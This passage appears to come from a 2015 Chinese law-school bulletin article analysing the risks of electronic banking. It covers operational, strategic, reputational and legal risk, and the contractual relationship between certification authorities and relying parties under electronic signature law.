包 括 客 户 在 内 的 其 他 相 关 主 体 面 临 的 风 险 囊 括 在 内 近 年 来, 我 国 的 电 子 银 行 业 务 得 到 了 飞 速 发 展 据 中 国 金 融 认 证 中 心 发 布 的 2013 中 国 电 子 银 行 调 查 报 告 显 示, 中 国 电 子 银 行 业 务 连 续 四 年 呈 增 长 趋 势, 其 中, 全 国 个 人 网 银 用 户 比 例 较 2012 年 增 长 了 1.7 个 百 分 点 在 企 业 网 银 方 面,2013 年 企 业 网 银 用 户 比 例 为 63.7%, 较 2012 年 增 长 10 个 百 分 点 ; 平 均 每 家 企 业 网 银 活 动 用 户 使 用 网 上 银 行 替 代 了 63% 的 柜 台 业 务, 而 在 2009 年, 这 一 比 例 为 50.7% 2013 年,76% 的 企 业 使 用 网 上 银 行 替 代 了 超 过 一 半 以 上 的 柜 台 业 务 与 此 同 时, 手 机 银 行 业 务 展 现 出 巨 大 潜 力 2013 年 全 国 地 级 以 上 城 市 城 镇 人 口 中, 个 人 手 机 银 行 用 户 比 例 为 11.8%, 较 2012 年 增 长 近 3 个 百 分 点, 连 续 3 年 呈 增 长 趋 势 {6} 近 两 年 来, 受 移 动 购 物 需 求 的 推 动, 移 动 远 程 支 付 [1] 得 到 快 速 成 长, 而 近 场 支 付 [2] 由 于 经 历 了 相 当 长 时 间 标 准 纷 争 和 利 益 博 弈, 一 直 没 有 形 成 大 规 模 商 用, 导 致 发 展 缓 慢 调 查 数 据 显 示 :2013 年 移 动 远 程 支 付 用 户 比 例 为 13.3%, 较 2012 年 提 升 了 近 4 个 百 分 点 ;2014 年 移 动 近 场 支 付 用 户 比 例 为 3.6%, 较 2012 年 提 升 了 0.4 个 百 分 点 ; 用 户 使 用 移 动 远 程 支 付 的 金 额 占 比 为 95%, 移 动 近 场 支 付 金 额 占 比 为 5% 移 动 远 程 支 付 中, 网 上 购 物 是 支 付 金 额 占 比 最 大 的 支 付 场 景 ; 移 动 近 场 支 付 中, 超 市 购 物 和 商 场 购 物 是 支 付 金 额 占 比 最 大 的 场 景 ; 手 机 刷 POS 机 是 支 付 金 额 占 比 最 大 的 支 付 方 式 {6} 电 子 银 行 业 务 存 在 着 很 大 的 风 险 虽 然, 电 子 银 行 风 险 属 于 金 融 风 险, 但 与 传 统 银 行 风 险 比 起 来, 电 子 银 行 风 险 更 多 地 来 自 于 电 子 通 信 技 术 的 应 用 电 子 通 信 技 术 的 运 用 冲 破 了 银 行 交 易 的 时 空 局 限 降 低 了 银 行 的 运 营 成 本 提 高 了 交 易 效 率, 但 也 潜 藏 着 一 系 列 风 险 因 素 当 发 生 风 险 事 件, 客 户 资 金 和 其 他 权 益 的 损 害 难 以 估 算, 银 行 也 面 临 大 量 损 失 的 风 险, 甚 至 酿 成 系 统 风 险, 影 响 国 家 金 融 稳 定 根 据 以 上 有 关 风 险 的 界 定, 本 文 将 电 子 银 行 风 险 界 定 为 : 由 于 计 算 机 系 统, 特 别 是 互 联 网 和 其 他 电 子 通 信 网 络 在 银 行 业 务 中 的 广 泛 运 用 而 使 从 事 银 行 活 动 的 各 当 事 人 遭 受 损 失 的 不 确 定 性 或 可 能 性 作 为 现 代 银 行 提 供 服 务 的 重 要 渠 道, 电 子 银 行 几 乎 可 以 提 供 传 统 银 行 的 所 有 业 务, 当 然, 传 统 银 行 的 风 险, 如 信 用 风 险 (Credit Risk) 流 动 性 风 险 (Liquidity Risk ) 市 场 风 险 (Market Risk) 也 都 会 出 现 在 电 子 银 行 业 务 中 巴 塞 尔 银 行 监 管 委 员 会 (Basel Committee on Banking Supervision) 认 为, 从 事 电 子 银 行 业 务 的 银 行 可 能 通 过 非 传 统 渠 道 扩 展 信 贷 范 围, 并 在 传 统 地 理 界 线 外 扩 宽 市 场 对 于 通 过 远 程 银 行 业 务 程 序 申 请 贷 款 的 借 款 人, 如 果 确 定 其 信 用 等 级 的 程 序 不 当, 将 增 加 银 行 的 信 用 风 险 {7}9 巴 塞 尔 银 行 监 管 委 员 会 认 为, 对 于 从 事 电 子 货 币 业 务 的 银 行 而 言, 如 果 他 们 不 能 保 证 在 任 何 时 候 都 有 充 足 的 资 金 以 供 赎 回 和 结 算, 那 么 流 动 性 风 险 是 值 得 注 意 的 {7}9 电 子 银 行 利 用 其 自 身 的 优 势 进 行 多 种 业 务, 例 如 销 售 自 营 的 理 财

72 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 产 品 和 代 售 保 险 信 托 产 品, 这 些 电 子 业 务 有 可 能 增 加 银 行 的 市 场 风 险 虽 然 互 联 网 的 开 放 性 和 多 样 性 使 电 子 银 行 面 临 着 特 殊 的 风 险, 但 是 巴 塞 尔 银 行 监 管 委 员 会 认 为, 电 子 银 行 业 务 和 电 子 货 币 行 为, 并 未 从 本 质 上 产 生 新 的 风 险, 但 是 电 子 银 行 业 务 和 电 子 货 币 行 为 的 特 征 增 加 并 修 改 了 与 银 行 活 动 有 关 的 某 些 传 统 风 险, 特 别 是 增 加 了 法 律 风 险 操 作 风 险 战 略 风 险 和 信 誉 风 险, 因 而 影 响 银 行 风 险 的 整 体 状 况 {7}5,{8}1 本 文 先 简 单 分 析 操 作 风 险 战 略 风 险 和 信 誉 风 险, 然 后 专 门 就 法 律 风 险 进 行 研 究 巴 塞 尔 银 行 监 管 委 员 会 在 2001 年 将 操 作 风 险 (Operational Risk) 定 义 为 : 由 不 当 或 者 失 效 的 内 部 控 制 过 程 人 员 和 系 统 以 及 外 部 事 件 所 造 成 的 损 失 [3] 巴 塞 尔 银 行 监 管 委 员 会 将 操 作 风 险 的 来 源 分 成 7 类 : 内 部 诈 骗 (internal fraud) 外 部 诈 骗 (external fraud) 雇 员 行 为 及 工 作 场 所 安 全 性 (employment practices and workplace safety) 客 户 产 品 以 及 业 务 活 动 (clients, products, and business practices) 对 实 物 资 产 的 破 坏 (damage to physical assets) 业 务 中 止 以 及 系 统 故 障 (business disruption and systemfailures) 交 易 的 执 行 交 付 和 过 程 管 理 (execution, delivery, and process management){9}2 电 子 银 行 中 的 信 息 技 术 能 够 以 多 种 方 式 产 生 或 增 加 操 作 风 险 第 一, 外 部 攻 击 的 风 险 电 子 银 行 的 身 份 认 证 访 问 限 制 银 行 监 管 措 施 认 证 机 构 的 可 靠 性 以 及 与 外 部 的 通 信 等 环 节 都 可 能 会 造 成 安 全 性 风 险, 黑 客 可 以 通 过 通 信 网 络 攻 击 电 子 银 行 系 统, 从 而 访 问 获 取 和 使 用 机 密 信 息, 实 施 未 经 客 户 授 权 的 交 易, 可 能 会 给 客 户 和 银 行 造 成 经 济 损 失 第 二, 内 部 攻 击 的 风 险 银 行 内 部 职 员 对 业 务 漫 不 经 心 过 失 或 者 欺 诈 篡 改 账 户 数 据 截 留 账 户 资 金 也 可 能 造 成 严 重 的 操 作 风 险 第 三, 电 子 银 行 系 统 设 计 实 施 和 维 护 方 面 的 风 险 电 子 银 行 本 身 可 能 会 由 于 技 术 缺 陷 或 技 术 过 时 遭 受 服 务 中 断 或 无 法 提 供 完 善 服 务 的 风 险 ; 另 外, 如 果 电 子 银 行 是 依 赖 外 部 服 务 提 供 商 来 实 施 运 行 和 支 持 其 银 行 系 统, 外 部 服 务 提 供 商 的 技 术 管 理 水 平, 也 可 能 会 影 响 电 子 银 行 系 统 的 运 行 第 四, 客 户 错 误 或 欺 诈 性 操 作 的 风 险 如 果 银 行 没 有 就 安 全 预 防 问 题 向 客 户 进 行 足 够 的 宣 传 和 教 育, 就 会 产 生 误 操 作 风 险 另 外, 由 于 缺 乏 足 够 的 措 施 来 验 证 交 易, 客 户 可 能 会 否 认 他 们 曾 授 权 过 的 交 易, 使 银 行 蒙 受 损 失 第 五, 认 证 系 统 风 险 电 子 银 行 系 统 的 运 作 往 往 依 赖 于 某 认 证 系 统 ( 该 银 行 自 建 的 认 证 机 构, 或 第 三 方 认 证 机 构 ), 其 主 要 负 责 数 字 证 书 的 产 生 发 放 及 管 理, 在 此 过 程 中 也 会 潜 藏 一 定 的 操 作 风 险 美 国 财 政 部 货 币 监 理 署 (Office of Comptroller of Currency, 简 称 OCC) 认 为, 战 略 风 险 (Strategic Risk) 是 指 因 决 策 失 误 决 策 的 实 施 不 当 或 对 行 业 变 化 缺 乏 响 应 而 对 银 行 收 益 或 资 本 所 造 成 的 不 确 定 性 {10}10 战 略 风 险 受 该 银 行 战 略 目 标 的 一 致 性 为 实 现 这 些 目 标 而 制 定 的 业 务 战 略 为 实 现 目 标 而 利 用 的 资 源 实 施 质 量 等 诸 多 因 素 的 影 响 为 实 现 战 略 目 标 而 必 需 的 IT 资 源 包 括 有 形 资 源 ( 如 计 算 机 硬 件 软 件 传 输 网 络 等 ) 和 无 形 资 源 ( 如 管 理 能 力 和 才 能 等 ) 当 银 行 管 理 部 门 未 能 恰 当 地 计 划 管 理 和 监 督 与 IT 相 关 的 产 品 服 务 过 程 和 传 送 渠 道 时, IT 的 应 用 就 会 产 生 战 略 风 险 另 外, 如 果 管 理 部 门 没 有 理 解 支 持 或 应 用 互 联 网 技 术, 而 该 技 术 对 银 行 的 竞 争 能 力 又 是 至 关 重 要 时, 或 银 行 使 用 了 某 项 不 可 靠 的 技 术 时, 也 会 产 生 战 略 风 险 {11}67 声 誉 风 险 (Reputational Risk) 是 指 负 面 的 公 众 舆 论 而 导 致 银 行 资 金 或 客 户 流 失 的 风 险 与 传 统 银 行 相 比, 电 子 银 行 的 声 誉 风 险 更 具 特 殊 性, 其 原 因 主 要 有 以 下 三 个 方 面 : 第 一, 具 有 重 大 影 响 的 广 泛 的 系 统 缺 陷, 可 能 造 成 客 户 的 不 便 或 损 失, 导 致 客 户 停 止 使 用 电 子 银 行 服 务 ; 第 二, 重 大 的 安 全 事 故 病 毒 的 破 坏 和 黑 客 的 攻 击 会 造 成 系 统 故 障, 造 成 客 户 的 流 失 ; 第 三, 其 他 机 构 出 现 声 誉 风 险 往 往 引 起 信 心 危 机, 声 誉 风 险 不 仅 针 对 特 定 银 行, 而 且 会 蔓 延 到 整 个 银 行 系 统, 在 极 端 情 况 下 甚 至 会 导 致 整 个 电 子 银 行 的 系 统 性 中 断 {7}7 法 律 风 险 (Legal Risk) 是 指 违 反 或 不 遵 从 法 律 法 规 所 带 来 的 损 失 的 可 能 性, 或 法 律 的 不 明 确 或 不 完 善 导 致 各 当 事 方 遭 受 损 失 的 可 能 性 [4] 据 此, 电 子 银 行 的 法 律 风 险 包 括 两 方

73 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 面 的 内 容 : 一 方 面, 法 律 风 险 源 于 对 既 存 法 律 法 规 的 违 反, 此 类 风 险 可 能 使 电 子 银 行 有 关 当 事 方 面 临 民 事 行 政 或 刑 事 责 任 风 险, 可 能 导 致 银 行 声 誉 贬 低 业 务 机 会 受 限 拓 展 潜 力 降 低 和 缺 乏 合 同 的 可 实 施 性 等 另 一 方 面, 法 律 风 险 还 源 于 法 律 规 定 的 模 糊 或 缺 失 有 学 者 将 此 类 法 律 风 险 称 为 环 境 型 法 律 风 险 (Environmental Legal Risk), 即 由 于 法 律 本 身 所 导 致 的 风 险, 包 括 法 律 的 发 展 变 化 或 者 是 法 律 本 身 的 不 全 面 或 不 完 善 使 得 法 律 没 有 涵 盖 新 出 现 的 金 融 业 务 或 产 品 {12}5 本 文 主 要 研 究 环 境 型 法 律 风 险, 探 讨 如 何 建 立 和 完 善 电 子 银 行 法 律, 减 少 法 律 的 不 确 定 性, 降 低 当 事 人 的 法 律 风 险 巴 塞 尔 银 行 监 管 委 员 会 认 为, 与 传 统 银 行 的 法 律 风 险 相 比 较, 电 子 银 行 的 法 律 风 险 新 增 了 四 个 方 面 : 第 一, 通 过 电 子 媒 介 达 成 的 协 议 的 效 力 不 确 定 这 实 际 上 是 数 据 电 文 的 法 律 效 力 问 题, 因 为 只 要 以 数 据 电 文 作 为 意 思 表 示 载 体 的 法 律 效 力 得 以 确 认, 则 通 过 数 据 电 文 达 成 的 协 议 当 然 具 有 法 律 效 力 第 二, 随 着 电 子 商 务 的 发 展, 银 行 在 电 子 认 证 系 统 中 也 有 可 能 扮 演 一 种 新 的 角 色, 即 成 为 电 子 认 证 机 构 但 现 行 法 律 对 电 子 认 证 机 构 的 法 律 地 位 规 定 得 并 不 明 确, 因 此, 电 子 认 证 机 构 的 角 色 给 银 行 带 来 了 新 的 法 律 风 险 第 三, 在 电 子 银 行 时 代, 电 子 银 行 业 务 与 电 子 货 币 行 为 给 银 行 零 售 业 务 带 来 的 新 特 点, 使 各 当 事 方 的 权 利 义 务 处 于 不 确 定 状 态 第 四, 消 费 者 保 护 法 是 否 适 用 于 电 子 银 行 业 务 与 电 子 货 币 行 为 不 明 确 {7}8 电 子 银 行 业 务 广 泛 使 用 数 据 电 文 (data message) 来 传 送 信 息, 这 与 一 般 的 电 子 商 务 没 有 区 别 所 以, 通 过 电 子 媒 介 达 成 的 协 议 的 效 力 不 确 定 问 题 实 际 上 是 数 据 电 文 的 法 律 效 力 问 题, 只 要 作 为 意 思 表 示 载 体 的 数 据 电 文 的 法 律 效 力 得 到 确 认, 则 通 过 数 据 电 文 达 成 的 协 议 当 然 具 有 法 律 效 力 有 关 数 据 电 文 的 法 律 效 力, 在 广 泛 借 鉴 联 合 国 国 际 贸 易 法 委 员 会 电 子 商 务 示 范 法 (UNCITRAL Model Law on Electronic Commerce) 和 电 子 签 名 示 范 法 (UNCITRAL Model Law on Electronic Signature) 的 基 础 上, 我 国 电 子 签 名 法 第 4 条 规 定 : 能 够 有 形 地 表 现 所 载 内 容, 并 可 以 随 时 调 取 查 用 的 数 据 电 文, 视 为 符 合 法 律 法 规 要 求 的 书 面 形 式 同 时, 有 关 数 据 电 文 的 发 送 与 接 收 数 据 电 文 的 归 属 (attribution of data message) 等 问 题, 我 国 电 子 签 名 法 也 都 作 有 规 定 虽 然 电 子 签 名 法 的 相 关 规 定 可 以 在 借 鉴 联 合 国 国 际 合 同 使 用 电 子 通 信 公 约 (United Nations Convention on the Use of Electronic Communications in InternationalContracts) 和 进 一 步 研 究 的 基 础 加 以 完 善 [5], 但 是, 电 子 签 名 法 已 经 建 立 了 有 关 数 据 电 文 的 法 律 框 架, 基 本 上 可 以 防 范 由 于 数 据 电 文 法 律 地 位 不 确 定 所 导 致 的 法 律 风 险 本 文 对 此 不 再 展 开 论 述 与 认 证 机 构 有 关 的 风 险 包 括 两 个 方 面 : 首 先 是 认 证 机 构 的 法 律 地 位 不 明 确 所 带 来 的 风 险, 其 次 是 随 着 电 子 商 务 的 发 展, 银 行 寻 求 在 电 子 认 证 系 统 中 发 挥 一 定 的 作 用, 认 证 机 构 的 角 色 给 银 行 带 来 了 法 律 风 险 认 证 机 构 的 角 色 给 银 行 带 来 的 风 险 的 大 小 同 样 取 决 于 认 证 机 构 的 法 律 地 位, 而 认 证 机 构 的 法 律 地 位 基 本 上 是 由 其 与 其 他 当 事 方 的 法 律 关 系 决 定 的 由 于 将 认 证 机 构 与 电 子 签 名 人 的 法 律 关 系 认 定 为 是 特 定 的 合 同 关 系 已 不 存 在 大 的 分 歧, 所 以 本 文 重 点 分 析 认 证 机 构 与 电 子 签 名 依 赖 方 之 间 的 关 系 由 于 不 存 在 专 门 调 整 电 子 银 行 的 法 律 或 有 关 法 律 不 完 善, 造 成 电 子 银 行 各 当 事 方 的 权 利 和 义 务 的 不 确 定, 从 而 妨 碍 电 子 银 行 功 能 的 正 常 发 挥 无 论 是 电 子 银 行 服 务 的 提 供 者 还 是 电 子 银 行 服 务 的 使 用 者, 都 希 望 将 电 子 银 行 业 务 中 产 生 的 风 险 或 损 失 由 其 他 当 事 方 承 担 因 此, 必 须 有 完 备 的 法 律 制 度 在 电 子 银 行 的 各 当 事 方 间 分 配 权 利 分 担 义 务, 保 证 电 子 银 行 各 当 事 方 权 利 义 务 的 公 正 平 衡, 使 电 子 银 行 业 务 得 以 顺 利 开 展 完 善 电 子 银 行 法 律 制 度 的 另 一 个 目 的, 是 在 产 生 不 可 归 责 于 电 子 银 行 交 易 各 当 事 方 的 损 失 时 在 当 事 方 间 合 理 地 分 担 损 失, 以 化 解 风 险 美 国 统 一 商 法 典 第 4A 编 (Article 4A) 创 立 了 一 整 套 全 新 的 概 念 和 全 新 的 规 则, 基 本 上 解 决 了 上 述 问 题, 为 建 立 电 子 银 行 法 律 制 度 提 供 了 范 例, 本 文 作 者 曾 在 不 同 的 著 述 中 对 此 有 过 论 述 [6] 在 本 文 中, 作 者 以 大 额 电 子 资 金 划 拨 法 律 关 系 的 性 质 为 例 论 述 电 子 银 行 的 权 利 义 务 关 系 应 明 确 的 问 题, 也 再 次 涉 及 美 国 统 一 商 法 典 第 4A 编

74 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 不 论 是 在 传 统 商 务 中 还 是 在 电 子 商 务 中, 所 有 消 费 者 都 是 平 等 的, 因 此 国 家 对 电 子 商 务 中 消 费 者 权 益 遭 受 侵 害 时 所 提 供 的 保 护 水 平 也 应 该 是 一 致 的, 应 实 行 同 等 保 护 原 则 当 然, 在 电 子 银 行 领 域, 消 费 者 应 受 到 与 其 在 传 统 商 务 领 域 同 等 的 保 护 水 平 本 文 将 就 此 问 题 进 行 论 述 二 认 证 机 构 与 电 子 签 名 依 赖 方 之 间 的 关 系 电 子 签 名 依 赖 方, 是 指 相 信 电 子 签 名 证 书, 以 该 证 书 上 所 确 定 的 电 子 签 名 人 为 交 易 相 对 方 而 进 行 交 易 的 人 电 子 签 名 依 赖 方 本 身 可 能 是, 也 可 能 不 是 认 证 机 构 的 用 户 当 电 子 签 名 依 赖 方 不 是 认 证 机 构 的 用 户 时, 他 与 认 证 机 构 之 间 并 无 服 务 合 同 存 在 但 是, 当 他 利 用 证 书 而 与 证 书 用 户 交 易 时, 却 又 介 入 证 书 服 务 关 系 中, 认 证 机 构 在 特 定 情 况 下 要 对 其 承 担 责 任 有 关 认 证 机 构 与 电 子 签 名 依 赖 方 间 的 法 律 关 系 的 性 质, 存 在 以 下 几 种 不 同 的 学 说 : 一 是 非 同 一 性 关 系 说 有 学 者 认 为 电 子 认 证 机 构 与 电 子 签 名 依 赖 方 之 间 的 关 系 要 视 社 区 认 证 服 务 型 单 方 证 书 用 户 型 交 叉 认 证 关 系 和 非 纯 粹 的 认 证 关 系 四 种 类 型 而 定 {13} 该 说 对 各 种 情 况 下 认 证 机 构 与 依 赖 方 的 关 系 作 了 较 为 详 细 的 分 析, 这 为 对 两 者 之 间 法 律 关 系 进 行 深 入 研 究 提 供 了 资 料 但 此 说 的 缺 点 也 极 其 明 显, 即 着 重 于 类 型 形 态 的 分 析, 而 忽 略 了 对 这 两 者 之 间 法 律 关 系 的 识 别 二 是 系 统 使 用 合 同 说 有 学 者 认 为 认 证 机 构 与 依 赖 方 在 事 实 的 接 触 过 程 中 缔 结 了 合 同, 即 关 于 电 子 签 名 人 的 证 书 信 息 的 查 询 本 身 就 是 一 份 合 同 的 缔 结 过 程, 电 子 签 名 人 的 证 书 信 息 构 成 了 合 同 的 内 容 {14} 该 说 是 在 网 络 环 境 下 对 合 同 理 论 进 行 的 一 种 新 的 探 讨, 具 有 一 定 的 合 理 性, 但 电 子 签 名 依 赖 方 向 电 子 认 证 机 构 查 询 之 行 为 并 不 符 合 合 同 成 立 的 要 件 三 是 第 三 人 利 益 合 同 说 有 学 者 认 为 签 名 人 得 到 电 子 签 名 证 书 的 目 的 之 一 是 向 电 子 签 名 依 赖 方 认 证 自 己 的 身 份, 电 子 签 名 依 赖 方 是 该 合 同 的 受 益 人 之 一 {15}193 在 美 国, 也 有 学 者 认 为 电 子 签 名 依 赖 方 可 以 依 据 电 子 签 名 人 与 认 证 机 构 的 第 三 人 利 益 合 同 (a third-party beneficiary contract), 以 意 定 受 益 人 (intended beneficiary) 的 身 份 向 认 证 机 构 要 求 承 担 违 约 责 任 而 得 到 赔 偿 {16}75 美 国 法 学 会 (American Law Institute, 简 称 ALI ) 编 写 的 第 二 次 合 同 法 重 述 [Restatement(second) of Contract] 将 受 益 人 分 为 意 定 受 益 人 和 附 带 受 益 人 (incidental beneficiary), 第 三 人 利 益 合 同 的 受 益 人 是 合 同 中 明 确 约 定 的 享 有 给 付 请 求 权 的 第 三 人, 这 种 受 益 人 是 意 定 受 益 人, 而 附 带 受 益 人 是 因 合 同 的 履 行 而 以 某 种 方 式 受 益 但 没 有 任 何 合 同 权 利 的 人 {17}193 电 子 签 名 依 赖 方 虽 然 因 合 同 的 履 行 而 受 益, 但 是 认 证 机 构 的 给 付 是 向 电 子 签 名 人 签 发 认 证 证 书, 电 子 签 名 人 才 是 合 同 的 意 定 受 益 人, 因 而, 电 子 签 名 依 赖 方 未 因 合 同 而 取 得 请 求 给 付 的 权 利, 不 属 于 第 三 人 利 益 合 同 中 的 第 三 人 四 是 附 保 护 第 三 人 作 用 的 合 同 关 系 说 有 学 者 认 为 认 证 机 构 对 电 子 签 名 依 赖 方 的 利 益 负 有 法 定 的 保 证 和 赔 偿 义 务, 这 一 义 务 源 于 法 律 的 强 制 性 规 定 和 电 子 签 名 人 与 认 证 机 构 之 间 的 合 同, 属 于 德 国 法 上 的 附 保 护 第 三 人 作 用 之 合 同 {18}126 附 保 护 第 三 人 作 用 之 合 同, 系 谓 特 定 契 约 一 经 成 立, 不 但 在 当 事 人 间 发 生 权 利 义 务 关 系, 同 时 债 务 人 对 于 与 债 权 人 具 有 特 殊 关 系 之 第 三 人, 亦 负 有 照 顾 保 护 等 义 务 债 务 人 违 反 此 项 义 务 时, 就 该 特 定 范 围 之 人 所 受 之 损 害, 亦 应 依 契 约 法 之 原 则, 负 赔 偿 责 任 {19}24 本 文 作 者 赞 同 附 保 护 第 三 人 作 用 之 合 同 说, 认 为 电 子 签 名 人 与 认 证 机 构 之 间 的 合 同 属 于 附 保 护 第 三 人 作 用 的 合 同, 电 子 签 名 依 赖 方 是 此 合 同 的 第 三 人, 电 子 签 名 依 赖 方 对 违 反 附 随 义 务 的 认 证 机 构 可 依 合 同 请 求 损 害 赔 偿 [7], 有 以 下 三 点 理 由 : 第 一, 电 子 签 名 人 对 电 子 签 名 依 赖 方 负 有 保 证 证 书 所 载 信 息 真 实 性 的 义 务 附 保 护 第 三 人 作 用 的 合 同 是 建 立 在 基 于 诚 实 信 用 原 则 而 发 生 之 附 随 义 务 之 上, 使 附 随 义 务 扩 张 及 于 债 权 人 对 其 负 有 特 别 照 顾 保 护 义 务 之 特 定 第 三 人 {19}26 电 子 签 名 人 之 所 以 要 求 认 证 机 构 签 发 认 证 证 书, 是 为 了 通 过 证 明 其 身 份 和 数 据 信 息 的 真 实 性 来 吸 引 潜 在 的 电 子 签 名 信 赖 方 与 之 进 行 交 易 若 认 证 机 构 签 发 的 认 证 证 书 所 载 的 内 容 有 误, 电 子 签 名 人 因 违 反 保 证 所 载 信 息 真 实 性

75 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 的 附 随 义 务 而 需 向 电 子 签 名 依 赖 方 承 担 缔 约 过 失 责 任 或 违 约 责 任 亦 即, 认 证 机 构 履 行 其 与 电 子 签 名 人 之 间 的 合 同, 一 般 是 为 电 子 签 名 人 与 电 子 签 名 依 赖 方 达 成 某 种 交 易 服 务 的, 电 子 签 名 人 对 电 子 签 名 依 赖 方 的 合 法 权 益 负 有 注 意 保 护 等 附 随 义 务, 故 符 合 附 保 护 第 三 人 作 用 的 合 同 中 所 要 求 的 合 同 债 权 人 须 对 第 三 人 负 有 保 护 照 顾 等 附 随 义 务 第 二, 电 子 签 名 依 赖 方 与 认 证 机 构 的 给 付 有 关 联 因 为 电 子 签 名 依 赖 方 基 于 对 认 证 机 构 所 签 发 的 认 证 证 书 的 真 实 性 的 信 赖 而 与 电 子 签 名 人 进 行 交 易 的, 所 以, 认 证 机 构 签 发 的 认 证 证 书 所 载 的 内 容 存 在 错 误, 不 仅 可 能 危 及 电 子 签 名 人 的 权 益, 使 电 子 签 名 人 因 此 需 对 电 子 签 名 依 赖 方 承 担 赔 偿 责 任, 而 且 还 涉 及 电 子 签 名 依 赖 方 的 利 益, 电 子 签 名 依 赖 方 因 信 赖 证 书 所 载 信 息 的 真 实 性 而 遭 受 损 失 因 此, 认 证 机 构 履 行 不 当 时, 电 子 签 名 依 赖 方 如 电 子 签 名 人 一 样, 均 会 受 到 该 不 适 当 履 行 的 影 响, 符 合 附 保 护 第 三 人 作 用 的 合 同 的 履 行 相 关 性 要 件 第 三, 电 子 签 名 依 赖 方 是 附 保 护 第 三 人 作 用 合 同 的 第 三 人 为 了 防 止 第 三 人 范 围 的 扩 大 加 重 债 务 人 责 任, 传 统 民 法 认 为 附 保 护 第 三 人 作 用 的 合 同 中 的 第 三 人 并 非 泛 指 债 权 人 以 外 之 任 何 第 三 人, 其 范 围 应 限 于 因 债 务 人 之 给 付 受 到 影 响 之 人, 即 债 权 人 对 于 其 祸 福, 基 于 亲 属 劳 工 雇 佣 租 赁 等 具 有 人 格 法 上 特 质 之 关 系, 从 而 负 有 保 护 照 顾 义 务 者 {19}28 然 而, 在 德 国 的 司 法 实 践 中, 附 保 护 第 三 人 作 用 的 合 同 的 适 用 范 围 有 所 扩 大, 主 要 表 现 为 德 国 法 院 的 判 决 已 经 不 再 将 特 定 第 三 人 的 范 围 局 限 于 第 三 人 与 债 权 人 之 间 必 须 存 在 人 格 法 上 之 特 质 关 系, 往 往 审 查 契 约 债 权 人 对 第 三 人 的 祸 福 是 否 负 有 责 任 {20} 根 据 这 一 标 准, 电 子 签 名 依 赖 方 属 于 附 保 护 第 三 人 作 用 合 同 的 第 三 人 该 第 三 人 的 范 围 在 客 观 上 可 以 确 定, 具 有 可 预 见 性 虽 然 认 证 合 同 订 立 之 时, 认 证 机 构 并 不 知 道 第 三 人 是 谁, 但 是 认 证 合 同 在 确 定 电 子 签 名 人 的 同 时, 实 际 上 将 第 三 人 的 范 围 特 定 化, 即 信 赖 认 证 机 构 签 发 给 电 子 签 名 人 的 认 证 证 书 并 与 之 进 行 交 易 的 人 电 子 签 名 依 赖 方 对 于 交 易 相 对 人 电 子 签 名 证 书 的 使 用, 一 般 应 在 认 证 机 构 所 建 议 的 可 靠 程 度 内 给 予 信 任, 并 以 此 进 行 交 易 此 种 选 择 最 为 常 见 若 电 子 签 名 依 赖 方 按 照 认 证 机 构 所 建 议 的 证 书 信 用 等 级 与 电 子 签 名 人 进 行 了 交 易, 一 旦 由 于 认 证 机 构 或 电 子 签 名 人 的 过 错, 而 使 证 书 信 息 不 实, 并 给 电 子 签 名 依 赖 方 造 成 了 损 失, 则 认 证 机 构 和 电 子 签 名 人 要 承 担 一 定 的 赔 偿 责 任 [8] 这 体 现 了 认 证 信 用 服 务 对 电 子 商 务 交 易 关 系 的 保 障 功 能 若 电 子 签 名 依 赖 方 未 按 证 书 等 级 进 行 交 易, 而 是 超 出 认 证 机 构 所 建 议 的 范 围, 那 么 认 证 机 构 不 对 其 超 出 证 书 可 靠 性 建 议 范 围 的 交 易 额 负 责 任 既 然 电 子 签 名 依 赖 方 是 附 保 护 第 三 人 作 用 的 合 同 的 第 三 人, 那 么 当 电 子 签 名 依 赖 方 因 认 证 机 构 没 有 履 行 应 尽 的 义 务 ( 如, 确 保 认 证 数 据 有 效 之 义 务, 及 时 通 知 之 义 务 等 ) 而 遭 受 损 失 时, 电 子 签 名 依 赖 方 因 该 损 失 而 取 得 对 认 证 机 构 的 独 立 赔 偿 请 求 权 在 附 保 护 第 三 人 作 用 的 合 同 中, 合 同 上 的 请 求 权 基 础 被 拉 伸 成 了 损 害, 由 受 害 人 因 他 人 的 合 同 而 起 诉 {21}596 由 于 我 国 电 子 签 名 法 规 定 了 认 证 机 构 对 电 子 签 名 依 赖 方 的 法 定 义 务, 一 旦 认 证 机 构 没 有 履 行 法 定 义 务 而 使 依 赖 方 遭 受 损 失, 电 子 签 名 依 赖 方 可 以 依 据 侵 权 责 任 法 要 求 认 证 机 构 赔 偿 相 应 损 失 因 此, 电 子 签 名 依 赖 方 可 以 选 择 依 据 认 证 机 构 与 电 子 签 名 人 的 合 同 请 求 认 证 机 构 赔 偿 损 失 或 依 据 侵 权 责 任 法 请 求 认 证 机 构 赔 偿 损 失 通 过 以 上 界 定, 虽 然 能 在 一 程 度 上 防 范 巴 塞 尔 银 行 监 管 委 员 会 所 认 为 的 现 行 法 律 对 电 子 认 证 机 构 的 法 律 地 位 规 定 得 不 明 确 所 产 生 的 法 律 风 险, 但 是, 不 论 是 基 于 合 同 还 是 基 于 侵 权 的 原 因, 认 证 机 构 均 可 能 向 电 子 签 名 依 赖 方 承 担 责 任, 这 些 仍 构 成 认 证 机 构 的 风 险 及 银 行 充 当 认 证 机 构 的 角 色 的 法 律 风 险 三 大 额 电 子 资 金 划 拨 法 律 关 系 的 性 质 电 子 资 金 划 拨 所 产 生 的 关 系 在 法 律 上 如 何 定 性? 历 史 上 不 同 的 判 例 曾 有 不 一 致 的 结 论 在 Securities Fund Services Inc.v. AmericanNational Bank and Trust Company of Chicago 一 案 中, 原 告 是 一 家 负 责 登 记 和 处 理 公 司 股 票 的 买 卖 和 划 拨 的 证 券 登 记 公 司, 是 资 金 划 拨 的 划 拨 人 ( 即 发 端 人 ) 被 告 是 资 金 划 拨 的 受 拨 人 银 行 ( 即 受 益 人 银 行 ) 原 告 收 到 一 项 声 称

